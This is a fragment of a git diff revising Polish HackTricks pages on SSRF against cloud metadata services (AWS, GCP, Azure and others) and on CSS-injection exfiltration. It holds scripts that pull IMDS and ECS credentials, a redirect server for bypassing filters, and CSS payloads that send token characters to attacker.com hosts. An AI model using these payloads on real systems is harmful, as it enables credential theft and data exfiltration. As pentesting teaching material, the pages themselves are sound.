||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub grupy [**telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
@ -16,7 +16,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -26,7 +26,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
### Nadużywanie SSRF w środowisku AWS EC2
|
||||
|
||||
**Metadane** można uzyskać z dowolnej maszyny EC2 i oferują interesujące informacje o niej. Można uzyskać do nich dostęp pod adresem URL: `http://169.254.169.254` ([informacje o metadanych tutaj](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
||||
**Metadane** można uzyskać z dowolnej maszyny EC2 i oferują interesujące informacje na jej temat. Można uzyskać do nich dostęp pod adresem URL: `http://169.254.169.254` ([informacje o metadanych tutaj](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
||||
|
||||
Istnieją **2 wersje** punktu końcowego metadanych. **Pierwsza** pozwala na **dostęp** do punktu końcowego za pomocą żądań **GET** (więc każde **SSRF może to wykorzystać**). Dla **wersji 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), musisz poprosić o **token** wysyłając żądanie **PUT** z **nagłówkiem HTTP**, a następnie użyć tego tokenu do uzyskania dostępu do metadanych za pomocą innego nagłówka HTTP (więc jest to **trudniejsze do wykorzystania** z SSRF).
|
||||
|
||||
|
@ -36,7 +36,7 @@ Zauważ, że jeśli instancja EC2 wymusza IMDSv2, [**zgodnie z dokumentacją**](
|
|||
Co więcej, **IMDSv2** zablokuje również żądania pobrania tokenu, które zawierają nagłówek `X-Forwarded-For`. Ma to na celu zapobieżenie możliwości dostępu do niego przez źle skonfigurowane serwery proxy odwrócone.
|
||||
{% endhint %}
|
||||
|
||||
Można znaleźć informacje o [punktach końcowych metadanych w dokumentacji](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). W poniższym skrypcie uzyskano pewne interesujące informacje z nich:
|
||||
Można znaleźć informacje o [punktach końcowych metadanych w dokumentacji](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). W poniższym skrypcie uzyskane są pewne interesujące informacje z metadanych:
|
||||
```bash
|
||||
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
|
||||
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
|
||||
|
@ -100,7 +100,7 @@ Jako przykład ujawnionych **publicznie dostępnych poświadczeń IAM** możesz
|
|||
|
||||
Możesz również sprawdzić publiczne **poświadczenia bezpieczeństwa EC2** pod adresem: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||
|
||||
Następnie możesz użyć **tych poświadczeń z AWS CLI**. Pozwoli to Ci wykonać **dowolne czynności, do których ma uprawnienia ta rola**.
|
||||
Następnie możesz użyć **tych poświadczeń z AWS CLI**. Pozwoli to Ci **wykonać wszystko, do czego ma uprawnienia ta rola**.
|
||||
|
||||
Aby skorzystać z nowych poświadczeń, będziesz musiał utworzyć nowy profil AWS, podobny do tego:
|
||||
```
|
||||
|
@ -111,20 +111,20 @@ aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4
|
|||
```
|
||||
Zauważ **aws\_session\_token**, jest to niezbędne do działania profilu.
|
||||
|
||||
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) można użyć z odkrytymi danymi uwierzytelniającymi, aby dowiedzieć się o Twoich uprawnieniach i spróbować eskalować uprawnienia
|
||||
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) można użyć z odkrytymi danymi uwierzytelniającymi, aby dowiedzieć się o swoich uprawnieniach i spróbować eskalować uprawnienia
|
||||
|
||||
### SSRF w poświadczeniach AWS ECS (usługa kontenerowa)
|
||||
|
||||
**ECS**, to logiczna grupa instancji EC2, na których można uruchomić aplikację, nie musząc skalować własnej infrastruktury zarządzania klastrami, ponieważ ECS zarządza tym dla Ciebie. Jeśli uda Ci się skompromitować usługę działającą w **ECS**, **punkty końcowe metadanych się zmieniają**.
|
||||
|
||||
Jeśli uzyskasz dostęp do _**http://169.254.170.2/v2/credentials/\<GUID>**_ znajdziesz poświadczenia maszyny ECS. Ale najpierw musisz **znaleźć \<GUID>**. Aby znaleźć \<GUID>, musisz odczytać zmienną **environ** o nazwie **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** wewnątrz maszyny.\
|
||||
Jeśli uzyskasz dostęp do _**http://169.254.170.2/v2/credentials/\<GUID>**_ znajdziesz poświadczenia maszyny ECS. Ale najpierw musisz **znaleźć \<GUID>**. Aby znaleźć \<GUID>, musisz odczytać zmienną **environ** **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** wewnątrz maszyny.\
|
||||
Możesz to odczytać wykorzystując **Path Traversal** do `file:///proc/self/environ`\
|
||||
Wspomniany adres http powinien dać Ci **AccessKey, SecretKey i token**.
|
||||
```bash
|
||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Zauważ, że w **niektórych przypadkach** będziesz mógł uzyskać dostęp do **instancji metadanych EC2** z kontenera (sprawdź wcześniej wspomniane ograniczenia TTL IMDSv2). W tych scenariuszach z kontenera możesz uzyskać dostęp zarówno do roli IAM kontenera, jak i roli IAM EC2.
|
||||
Zauważ, że w **niektórych przypadkach** będziesz mógł uzyskać dostęp do **instancji metadanych EC2** z kontenera (sprawdź wcześniej wspomniane ograniczenia TTL IMDSv2). W tych scenariuszach z kontenera można uzyskać dostęp zarówno do roli IAM kontenera, jak i roli IAM EC2.
|
||||
{% endhint %}
|
||||
|
||||
### SSRF dla AWS Lambda <a href="#id-6f97" id="id-6f97"></a>
|
||||
|
@ -271,11 +271,11 @@ gcloud config unset auth/access_token_file
|
|||
|
||||
### Dodaj klucz SSH <a href="#id-3e24" id="id-3e24"></a>
|
||||
|
||||
Wyodrębnij token
|
||||
Wyciągnij token
|
||||
```
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
|
||||
```
|
||||
Sprawdź zakres tokena (z poprzedniego wyniku lub uruchamiając poniższe)
|
||||
Sprawdź zakres tokena (za pomocą poprzedniego wyniku lub uruchomienie poniższego)
|
||||
```bash
|
||||
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
|
||||
"issued_to": "101302079XXXXX",
|
||||
|
@ -326,7 +326,7 @@ done
|
|||
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
|
||||
|
||||
{% hint style="warning" %}
|
||||
Nie ma tutaj rzeczy takich jak role AWS ani konto usługi GCP, więc nie spodziewaj się znalezienia danych uwierzytelniających metadanych
|
||||
Nie ma takich rzeczy jak role AWS ani konto usługi GCP, więc nie spodziewaj się znalezienia danych uwierzytelniających metadanych
|
||||
{% endhint %}
|
||||
|
||||
Dokumentacja dostępna pod adresem [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
|
||||
|
@ -349,10 +349,6 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
|||
|
||||
* **Musisz** zawierać nagłówek `Metadata: true`
|
||||
* Nie wolno zawierać nagłówka `X-Forwarded-For`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Bash" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
HEADER="Metadata:true"
|
||||
URL="http://169.254.169.254/metadata"
|
||||
|
@ -394,7 +390,7 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
|
|||
```
|
||||
### Usługa Azure App
|
||||
|
||||
Z **env** można uzyskać wartości `IDENTITY_HEADER` _i_ `IDENTITY_ENDPOINT`. Możesz ich użyć do uzyskania tokenu do komunikacji z serwerem metadanych.
|
||||
Z **env** możesz uzyskać wartości `IDENTITY_HEADER` _i_ `IDENTITY_ENDPOINT`. Możesz ich użyć do uzyskania tokenu do komunikacji z serwerem metadanych.
|
||||
|
||||
Większość czasu chcesz uzyskać token dla jednego z tych zasobów:
|
||||
|
||||
|
@ -502,7 +498,7 @@ curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instanc
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Dokumentacja dla różnych platform dotyczących usług metadanych jest przedstawiona poniżej, z zaznaczeniem metod dostępu do informacji konfiguracyjnych i czasu wykonania instancji. Każda platforma oferuje unikalne punkty końcowe do dostępu do swoich usług metadanych.
|
||||
Dokumentacja dla różnych platform dotyczących usług metadanych jest przedstawiona poniżej, z zaznaczeniem metod dostępu do konfiguracji i informacji o uruchomieniu instancji. Każda platforma oferuje unikalne punkty końcowe do dostępu do swoich usług metadanych.
|
||||
|
||||
## Packetcloud
|
||||
|
||||
|
@ -522,7 +518,7 @@ Również tutaj nie jest wymieniona konieczność nagłówka. Metadane są dost
|
|||
|
||||
## Oracle Cloud
|
||||
|
||||
Oracle Cloud udostępnia serię punktów końcowych do uzyskania różnych aspektów metadanych:
|
||||
Oracle Cloud udostępnia serię punktów końcowych do uzyskiwania różnych aspektów metadanych:
|
||||
|
||||
* `http://192.0.0.192/latest/`
|
||||
* `http://192.0.0.192/latest/user-data/`
|
||||
|
@ -531,7 +527,7 @@ Oracle Cloud udostępnia serię punktów końcowych do uzyskania różnych aspek
|
|||
|
||||
## Alibaba
|
||||
|
||||
Alibaba oferuje punkty końcowe do uzyskania metadanych, w tym identyfikatory instancji i obrazów:
|
||||
Alibaba oferuje punkty końcowe do uzyskiwania metadanych, w tym identyfikatory instancji i obrazów:
|
||||
|
||||
* `http://100.100.100.200/latest/meta-data/`
|
||||
* `http://100.100.100.200/latest/meta-data/instance-id`
|
||||
|
@ -546,7 +542,7 @@ Kubernetes ETCD może przechowywać klucze API, wewnętrzne adresy IP i porty. D
|
|||
|
||||
## Docker
|
||||
|
||||
Metadane Dockera można uzyskać lokalnie, przykłady dotyczące pobierania informacji o kontenerach i obrazach:
|
||||
Metadane Dockera można uzyskać lokalnie, przykłady uzyskiwania informacji o kontenerach i obrazach:
|
||||
|
||||
* Prosty przykład uzyskania metadanych kontenerów i obrazów za pomocą gniazda Dockera:
|
||||
* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
|
||||
|
|
|
@ -16,7 +16,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -171,10 +171,10 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
|||
|
||||
Narzędzie [**recollapse**](https://github.com/0xacb/recollapse) może generować wariacje na podstawie podanego wejścia, aby spróbować ominąć użyte wyrażenie regularne. Sprawdź również [**ten post**](https://0xacb.com/2022/11/21/recollapse/) po więcej informacji.
|
||||
|
||||
### Ominięcie za pomocą przekierowania
|
||||
### Ominięcie poprzez przekierowanie
|
||||
|
||||
Może być możliwe, że serwer **filtrowanie oryginalnego żądania** SSRF, **ale nie** możliwej odpowiedzi **przekierowania** na to żądanie.\
|
||||
Na przykład serwer podatny na SSRF poprzez: `url=https://www.google.com/` może **filtrować parametr url**. Ale jeśli użyjesz [serwera pythona do odpowiedzi z kodem 302](https://pastebin.com/raw/ywAUhFrv) do miejsca, gdzie chcesz przekierować, możesz **uzyskać dostęp do filtrowanych adresów IP** takich jak 127.0.0.1 lub nawet filtrowanych **protokołów** jak gopher.\
|
||||
Na przykład serwer podatny na SSRF poprzez: `url=https://www.google.com/` może **filtrować parametr url**. Ale jeśli użyjesz [serwera python do odpowiedzi z kodem 302](https://pastebin.com/raw/ywAUhFrv) w miejscu, gdzie chcesz przekierować, możesz **uzyskać dostęp do zablokowanych adresów IP** takich jak 127.0.0.1 lub nawet zablokowanych **protokołów** jak gopher.\
|
||||
[Zobacz ten raport.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
|
@ -217,7 +217,7 @@ Obrazek z [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-c
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -231,6 +231,6 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
@ -16,7 +16,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -26,7 +26,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
### Selektor atrybutów
|
||||
|
||||
Selektory CSS są opracowane w celu dopasowania wartości atrybutów `name` i `value` elementu `input`. Jeśli wartość atrybutu elementu wejściowego zaczyna się od określonego znaku, zostanie załadowany predefiniowany zewnętrzny zasób:
|
||||
Selektory CSS są opracowane w celu dopasowania wartości atrybutów `name` i `value` elementu `input`. Jeśli wartość atrybutu wartości elementu wejściowego zaczyna się od określonego znaku, zostanie załadowany predefiniowany zewnętrzny zasób:
|
||||
```css
|
||||
input[name=csrf][value^=a]{
|
||||
background-image: url(https://attacker.com/exfil/a);
|
||||
|
@ -39,7 +39,7 @@ input[name=csrf][value^=9]{
|
|||
background-image: url(https://attacker.com/exfil/9);
|
||||
}
|
||||
```
|
||||
#### Ograniczenia dla elementów ukrytych
|
||||
#### Ograniczenia dotyczące elementów ukrytych
|
||||
|
||||
Aby ominąć to ograniczenie, można wybrać następny element rodzeństwa, używając kombinatora rodzeństwa ogólnego `~`. Reguła CSS będzie wtedy stosowana do wszystkich rodzeństwa następujących po ukrytym elemencie wejściowym, co spowoduje załadowanie obrazu tła:
|
||||
```css
|
||||
|
@ -52,13 +52,13 @@ background-image: url(https://attacker.com/exfil/csrF);
|
|||
Aby technika Wstrzykiwania CSS była skuteczna, muszą zostać spełnione pewne warunki:
|
||||
|
||||
1. **Długość Payloadu**: Wektor wstrzykiwania CSS musi obsługiwać wystarczająco długie ładunki, aby pomieścić opracowane selektory.
|
||||
2. **Ponowna ocena CSS**: Powinieneś mieć możliwość opracowania strony, co jest konieczne do wywołania ponownej oceny CSS z nowo generowanymi ładunkami.
|
||||
2. **Ponowna ocena CSS**: Należy mieć możliwość opracowania strony, co jest konieczne do wywołania ponownej oceny CSS z nowo generowanymi ładunkami.
|
||||
3. **Zewnętrzne zasoby**: Technika zakłada możliwość korzystania z obrazów hostowanych zewnętrznie. Może to być ograniczone przez zasadę bezpieczeństwa zawartości (CSP) witryny.
|
||||
|
||||
### Ślepy Selektor Atrybutu
|
||||
### Ślepy selektor atrybutów
|
||||
|
||||
Jak [**wyjaśniono w tym poście**](https://portswigger.net/research/blind-css-exfiltration), możliwe jest połączenie selektorów **`:has`** i **`:not`** w celu zidentyfikowania zawartości nawet z elementów ślepych. Jest to bardzo przydatne, gdy nie masz pojęcia, co znajduje się wewnątrz strony internetowej ładowanej przez wstrzykiwanie CSS.\
|
||||
Można również użyć tych selektorów do wyodrębniania informacji z kilku bloków tego samego typu, jak na przykład:
|
||||
Jak [**wyjaśniono w tym poście**](https://portswigger.net/research/blind-css-exfiltration), możliwe jest połączenie selektorów **`:has`** i **`:not`** w celu zidentyfikowania zawartości nawet z elementów ślepych. Jest to bardzo przydatne, gdy nie masz pojęcia, co znajduje się w ładowanej stronie internetowej wstrzykującej CSS.\
|
||||
Możliwe jest również wykorzystanie tych selektorów do wyodrębniania informacji z kilku bloków tego samego typu, jak na przykład:
|
||||
```html
|
||||
<style>
|
||||
html:has(input[name^="m"]):not(input[name="mytoken"]) {
|
||||
|
@ -68,7 +68,7 @@ background:url(/m);
|
|||
<input name=mytoken value=1337>
|
||||
<input name=myname value=gareth>
|
||||
```
|
||||
Kombinując to z następującą techniką **@import**, jest możliwe wyciekanie wielu **informacji za pomocą wstrzykiwania CSS z** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
|
||||
Kombinując to z następującą techniką **@import**, można eksfiltrować wiele **informacji za pomocą wstrzykiwania CSS z** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
|
||||
|
||||
### @import
|
||||
|
||||
|
@ -78,7 +78,7 @@ Jednak istnieje inna sprytna technika, która wykorzystuje **CSS `@import`** do
|
|||
|
||||
Pierwszy raz zostało to pokazane przez [**Pepe Vilę**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) i działa to w ten sposób:
|
||||
|
||||
Zamiast ładować tę samą stronę wielokrotnie z dziesiątkami różnych ładunków za każdym razem (jak w poprzedniej technice), będziemy **ładować stronę tylko raz i tylko z importem do serwera atakującego** (to jest ładunek do wysłania ofierze):
|
||||
Zamiast ładować tę samą stronę wielokrotnie z dziesiątkami różnych ładunków za każdym razem (jak w poprzedniej technice), **załadujemy stronę tylko raz i tylko z importem do serwera atakującego** (to jest ładunek do wysłania ofierze):
|
||||
```css
|
||||
@import url('//attacker.com:5001/start?');
|
||||
```
|
||||
|
@ -86,13 +86,13 @@ Zamiast ładować tę samą stronę wielokrotnie z dziesiątkami różnych ładu
|
|||
2. Pierwszą częścią skryptu CSS, którą atakujący wyśle, jest **kolejne `@import` do serwera atakującego**.
|
||||
3. Serwer atakującego jeszcze nie odpowie na to żądanie, ponieważ chcemy ujawnić kilka znaków, a następnie odpowiedzieć na to importowanie ładunkiem, aby ujawnić kolejne.
|
||||
4. Drugą i większą częścią ładunku będzie **ujawnienie selektora atrybutu**.
|
||||
5. To spowoduje wysłanie do serwera atakującego **pierwszego i ostatniego znaku** tajemnicy.
|
||||
6. Gdy serwer atakującego otrzyma **pierwszy i ostatni znak tajemnicy**, odpowie na żądanie importu z kroku 2.
|
||||
7. Odpowiedź będzie dokładnie taka sama jak w **krokach 2, 3 i 4**, ale tym razem spróbuje **znaleźć drugi znak tajemnicy, a następnie przedostatni**.
|
||||
5. To spowoduje wysłanie do serwera atakującego **pierwszego i ostatniego znaku tajnego**.
|
||||
6. Gdy serwer atakującego otrzyma **pierwszy i ostatni znak tajnego**, odpowie na żądanie importu z kroku 2.
|
||||
7. Odpowiedź będzie dokładnie taka sama jak **kroki 2, 3 i 4**, ale tym razem spróbuje **znaleźć drugi znak tajnego i przedostatni**.
|
||||
|
||||
Atakujący będzie **kontynuować tę pętlę, aż uda mu się ujawnić całkowicie tajemnicę**.
|
||||
Atakujący będzie **kontynuować tę pętlę, aż uda mu się całkowicie ujawnić tajemnicę**.
|
||||
|
||||
Oryginalny [**kod Pepe Vila do wykorzystania tego tutaj**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) lub można znaleźć prawie [**ten sam kod, ale z komentarzami tutaj**.](./#css-injection)
|
||||
Oryginalny [**kod Pepe Vila do wykorzystania tego znajdziesz tutaj**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) lub prawie ten [**samo kod, ale skomentowany tutaj**.](./#css-injection)
|
||||
|
||||
{% hint style="info" %}
|
||||
Skrypt będzie próbował odkryć 2 znaki za każdym razem (od początku i od końca), ponieważ selektor atrybutu pozwala na takie działania:
|
||||
|
@ -108,25 +108,25 @@ To pozwala skryptowi szybciej ujawnić tajemnicę.
|
|||
|
||||
{% hint style="warning" %}
|
||||
Czasami skrypt **nie wykrywa poprawnie, że odkryty prefiks + sufiks jest już kompletną flagą** i będzie kontynuować w przód (w prefiksie) i w tył (w sufiksie), a w pewnym momencie się zawiesi.\
|
||||
Nie martw się, po prostu sprawdź **wyjście**, ponieważ **możesz tam zobaczyć flagę**.
|
||||
Nie martw się, po prostu sprawdź **wyjście**, ponieważ **możesz zobaczyć tam flagę**.
|
||||
{% endhint %}
|
||||
|
||||
### Inne selektory
|
||||
|
||||
Inne sposoby dostępu do części DOM za pomocą **selektorów CSS**:
|
||||
|
||||
* **`.klasa-do-wyszukania:nth-child(2)`**: To wyszuka drugi element o klasie "klasa-do-wyszukania" w DOM.
|
||||
* **`.class-to-search:nth-child(2)`**: To wyszuka drugi element z klasą "class-to-search" w DOM.
|
||||
* Selektor **`:empty`**: Używany na przykład w [**tym rozwiązaniu**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
|
||||
|
||||
```css
|
||||
[role^="img"][aria-label="1"]:empty { background-image: url("TWÓJ_ADRES_SERWERA?1"); }
|
||||
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
|
||||
```
|
||||
|
||||
### XS-Search oparty na błędach
|
||||
|
||||
**Referencje:** [Atak oparty na CSS: Nadużycie unicode-range @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [XS-Search PoC oparty na błędach autorstwa @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
|
||||
Ogólnym celem jest **użycie niestandardowego fontu z kontrolowanego punktu końcowego** i zapewnienie, że **tekst (w tym przypadku 'A') jest wyświetlany tylko z tym fontem, jeśli określony zasób (`favicon.ico`) nie może być załadowany**.
|
||||
Ogólnym zamiarem jest **użycie niestandardowego fontu z kontrolowanego punktu końcowego** i upewnienie się, że **tekst (w tym przypadku 'A') jest wyświetlany tylko tym fontem, jeśli określony zasób (`favicon.ico`) nie może być załadowany**.
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
@ -157,39 +157,39 @@ font-family: 'poc';
|
|||
|
||||
2. **Element obiektu z tekstem zapasowym**:
|
||||
- Element `<object>` o `id="poc0"` jest tworzony w sekcji `<body>`. Ten element próbuje załadować zasób z `http://192.168.0.1/favicon.ico`.
|
||||
- Dla tego elementu `font-family` jest ustawione na `'poc'`, zdefiniowane w sekcji `<style>`.
|
||||
- Dla tego elementu `font-family` jest ustawione na `'poc'`, zgodnie zdefiniowanym w sekcji `<style>`.
|
||||
- Jeśli zasób (`favicon.ico`) nie może zostać załadowany, wyświetlana jest treść zapasowa (litera 'A') wewnątrz tagu `<object>`.
|
||||
- Treść zapasowa ('A') zostanie wyrenderowana za pomocą niestandardowej czcionki `poc`, jeśli zewnętrzny zasób nie może zostać załadowany.
|
||||
|
||||
### Stylizacja fragmentu przewijania do tekstu
|
||||
|
||||
Pseudo-klasa **`:target`** jest wykorzystywana do wybrania elementu docelowego przez **fragment URL**, zgodnie z [specyfikacją CSS Selectors Level 4](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Istotne jest zrozumienie, że `::target-text` nie pasuje do żadnych elementów, chyba że tekst jest wyraźnie docelowy przez fragment.
|
||||
Pseudo-klasa **`:target`** jest wykorzystywana do wybrania elementu docelowego przez **fragment URL**, zgodnie z [specyfikacją CSS Selectors Level 4](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Istotne jest zrozumienie, że `::target-text` nie pasuje do żadnych elementów, chyba że tekst jest wyraźnie docelowy dla fragmentu.
|
||||
|
||||
Pojawia się problem związany z bezpieczeństwem, gdy atakujący wykorzystują funkcję **Przewijania do tekstu**, pozwalającą im potwierdzić obecność określonego tekstu na stronie internetowej poprzez ładowanie zasobu z ich serwera za pomocą wstrzyknięcia HTML. Metoda ta polega na wstrzyknięciu reguły CSS takiej jak:
|
||||
Pojawia się problem bezpieczeństwa, gdy atakujący wykorzystują funkcję **fragmentu przewijania do tekstu**, pozwalając im potwierdzić obecność określonego tekstu na stronie internetowej poprzez ładowanie zasobu z ich serwera za pomocą wstrzyknięcia HTML. Metoda ta polega na wstrzyknięciu reguły CSS jak poniżej:
|
||||
```css
|
||||
:target::before { content : url(target.png) }
|
||||
```
|
||||
W takich scenariuszach, jeśli na stronie znajduje się tekst "Administrator", serwer wysyła żądanie zasobu `target.png`, co wskazuje na obecność tekstu. Przykład tego ataku można przeprowadzić za pomocą specjalnie spreparowanego adresu URL, który osadza wstrzyknięty CSS obok fragmentu Scroll-to-text:
|
||||
W takich scenariuszach, jeśli na stronie znajduje się tekst "Administrator", zasób `target.png` zostaje żądany z serwera, co wskazuje na obecność tekstu. Przykład tego ataku można przeprowadzić za pomocą specjalnie spreparowanego adresu URL, który osadza wstrzyknięty CSS obok fragmentu Scroll-to-text:
|
